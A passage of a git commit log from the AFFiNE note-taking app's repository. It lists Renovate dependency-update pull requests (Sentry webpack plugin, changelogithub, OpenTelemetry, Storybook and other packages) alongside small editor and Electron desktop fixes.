2025-01-16 08:32:15 +00:00
doodlewind
509cdfd7bf fix(editor): playground font inconsistency (#9728) 2025-01-16 08:16:13 +00:00
renovate
cb81f4a963 chore: bump up @sentry/webpack-plugin version to v3 (#9721)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@sentry/webpack-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/webpack-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`^2.22.7` -> `^3.0.0`](https://renovatebot.com/diffs/npm/@sentry%2fwebpack-plugin/2.23.0/3.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fwebpack-plugin/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fwebpack-plugin/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fwebpack-plugin/2.23.0/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fwebpack-plugin/2.23.0/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>getsentry/sentry-javascript-bundler-plugins (@&#8203;sentry/webpack-plugin)</summary>

### [`v3.0.0`](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/blob/HEAD/CHANGELOG.md#300)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/compare/2.23.0...3.0.0)

##### Breaking Changes

-   Injected code will now use `let`, which was added in ES6 (ES2015).
    This means that ES6 is the minimum JavaScript version that the Sentry bundler plugins support.

-   Deprecated options have been removed:
    -   `deleteFilesAfterUpload` - Use `filesToDeleteAfterUpload` instead
    -   `bundleSizeOptimizations.excludePerformanceMonitoring` - Use `bundleSizeOptimizations.excludeTracing` instead
    -   `_experiments.moduleMetadata` - Use `moduleMetadata` instead
    -   `cleanArtifacts` - Did not do anything

##### List of Changes

-   fix!: Wrap injected code in block-statement to contain scope ([#&#8203;646](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/646))
-   chore!: Remove deprecated options ([#&#8203;654](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/654))
-   feat(logger): Use console methods respective to log level ([#&#8203;652](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/652))
-   fix(webpack): Ensure process exits when done ([#&#8203;653](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/653))
-   fix: Use correct replacement matcher for `bundleSizeOptimizations.excludeTracing` ([#&#8203;644](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/644))

Work in this release contributed by [@&#8203;jdelStrother](https://redirect.github.com/jdelStrother). Thank you for your contribution!

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-16 07:26:08 +00:00
renovate
6a07d0a7dd chore: bump up changelogithub version to v13 (#9723)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [changelogithub](https://redirect.github.com/antfu/changelogithub) | [`^0.13.11` -> `^13.0.0`](https://renovatebot.com/diffs/npm/changelogithub/0.13.11/13.12.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/changelogithub/13.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/changelogithub/13.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/changelogithub/0.13.11/13.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/changelogithub/0.13.11/13.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>antfu/changelogithub (changelogithub)</summary>

### [`v13.12.1`](https://redirect.github.com/antfu/changelogithub/releases/tag/v13.12.1)

[Compare Source](https://redirect.github.com/antfu/changelogithub/compare/v0.13.11...v13.12.1)

Adopt to [Epoch SemVer](https://antfu.me/posts/epoch-semver), no behavior change from the last version.

*No significant changes*

#####     [View changes on GitHub](https://redirect.github.com/antfu/changelogithub/compare/v13.12.0...v13.12.1)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-16 07:05:43 +00:00
pengx17
9f3a304885 feat(electron): more desktop app related shortcuts (#9724)
fix AF-2126, AF-2124

- Add CMD+M for minimize the app.
- Enhance how CMD+W works. Close the following in order, stop if any one is closed:
  - peek view
  - split view
  - tab
  - otherwise, hide the app
2025-01-16 06:50:08 +00:00
fundon
676f855564 fix(editor): stop paste-copy event bubbling on bookmark modal (#9713)
Closes: [BS-2402](https://linear.app/affine-design/issue/BS-2402/bookmark-没法粘贴修改标题,会跑到下一行)
2025-01-16 06:34:09 +00:00
L-Sun
f7cbd21dd9 chore(debug): add vscode debug launch setting (#9725)
This PR allows vscode to add breakpoints to the editor's code.
2025-01-16 06:17:41 +00:00
renovate
32f09b5ac0 chore: bump up all non-major dependencies (#9689)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.726.1` -> `3.729.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.726.1/3.729.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.729.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.729.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.726.1/3.729.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.726.1/3.729.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@capacitor/browser](https://redirect.github.com/ionic-team/capacitor-plugins) | [`6.0.4` -> `6.0.5`](https://renovatebot.com/diffs/npm/@capacitor%2fbrowser/6.0.4/6.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fbrowser/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fbrowser/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fbrowser/6.0.4/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fbrowser/6.0.4/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@faker-js/faker](https://fakerjs.dev) ([source](https://redirect.github.com/faker-js/faker)) | [`9.3.0` -> `9.4.0`](https://renovatebot.com/diffs/npm/@faker-js%2ffaker/9.3.0/9.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@faker-js%2ffaker/9.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@faker-js%2ffaker/9.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@faker-js%2ffaker/9.3.0/9.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@faker-js%2ffaker/9.3.0/9.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/core](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-core) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.30.0` -> `1.30.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fcore/1.30.0/1.30.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fcore/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fcore/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fcore/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fcore/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.0` -> `0.57.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.57.0/0.57.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/exporter-zipkin](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-exporter-zipkin) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.30.0` -> `1.30.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-zipkin/1.30.0/1.30.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-zipkin/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-zipkin/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-zipkin/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-zipkin/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.0` -> `0.57.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.57.0/0.57.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.0` -> `0.57.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.57.0/0.57.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/resources](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-resources) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.30.0` -> `1.30.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fresources/1.30.0/1.30.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fresources/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fresources/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fresources/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fresources/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/sdk-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/sdk-metrics) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.30.0` -> `1.30.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-metrics/1.30.0/1.30.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-metrics/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-metrics/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-metrics/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-metrics/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.0` -> `0.57.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.57.0/0.57.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/sdk-trace-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-sdk-trace-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.30.0` -> `1.30.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-trace-node/1.30.0/1.30.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-trace-node/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-trace-node/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-trace-node/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-trace-node/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/electron](https://redirect.github.com/getsentry/sentry-electron) | [`5.9.0` -> `5.10.0`](https://renovatebot.com/diffs/npm/@sentry%2felectron/5.9.0/5.10.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2felectron/5.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2felectron/5.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2felectron/5.9.0/5.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2felectron/5.9.0/5.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.48.0` -> `8.50.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.48.0/8.50.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.50.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.50.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.48.0/8.50.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.48.0/8.50.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@smarttools/eslint-plugin-rxjs](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs) | [`1.0.15` -> `1.0.16`](https://renovatebot.com/diffs/npm/@smarttools%2feslint-plugin-rxjs/1.0.15/1.0.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@smarttools%2feslint-plugin-rxjs/1.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@smarttools%2feslint-plugin-rxjs/1.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@smarttools%2feslint-plugin-rxjs/1.0.15/1.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@smarttools%2feslint-plugin-rxjs/1.0.15/1.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@testing-library/react](https://redirect.github.com/testing-library/react-testing-library) | [`16.1.0` -> `16.2.0`](https://renovatebot.com/diffs/npm/@testing-library%2freact/16.1.0/16.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@testing-library%2freact/16.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@testing-library%2freact/16.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@testing-library%2freact/16.1.0/16.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@testing-library%2freact/16.1.0/16.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.12` -> `20.17.14`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.12/20.17.14) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.12/20.17.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.12/20.17.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [fs-extra](https://redirect.github.com/jprichardson/node-fs-extra) | [`11.2.0` -> `11.3.0`](https://renovatebot.com/diffs/npm/fs-extra/11.2.0/11.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/fs-extra/11.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/fs-extra/11.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/fs-extra/11.2.0/11.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/fs-extra/11.2.0/11.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
